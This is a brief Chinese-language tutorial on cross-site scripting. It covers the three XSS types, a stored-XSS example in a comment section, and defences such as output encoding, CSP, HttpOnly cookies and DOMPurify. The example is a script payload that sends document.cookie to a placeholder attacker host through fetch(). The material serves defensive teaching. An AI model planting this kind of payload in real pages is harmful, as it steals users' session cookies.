XSS跨站脚本攻击实战
跨站脚本(Cross-Site Scripting,XSS)是指攻击者将恶意脚本注入到网页中,当其他用户浏览该页面时脚本在其浏览器中执行,从而窃取 Cookie、伪造请求或进行钓鱼。
三种类型
| 类型 | 存储位置 | 触发方式 |
|---|---|---|
| 反射型 | URL 参数 | 诱骗点击含恶意参数的链接 |
| 存储型 | 数据库 | 恶意脚本被持久化后自动渲染 |
| DOM 型 | 前端 DOM | 客户端脚本不安全地操作 DOM |
一个存储型示例
评论区未过滤用户输入,攻击者可提交:
html
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>该内容被存入数据库并在其他用户浏览时执行,导致 Cookie 外泄。
防御策略
- 输出编码:根据上下文(HTML、属性、JS、URL)进行对应编码。
- CSP(内容安全策略):限制脚本来源,阻断非法内联脚本。
http
Content-Security-Policy: default-src 'self'; script-src 'self'- HttpOnly Cookie:禁止 JavaScript 读取敏感 Cookie。
- 输入校验 + 富文本白名单(如使用 DOMPurify 过滤)。
- 框架自动转义:Vue / React 默认对插值进行转义,避免
v-html/dangerouslySetInnerHTML直接渲染不可信内容。
现代前端框架已默认防御大部分 XSS,但
v-html、模板字符串拼接等"逃生舱"仍是重灾区。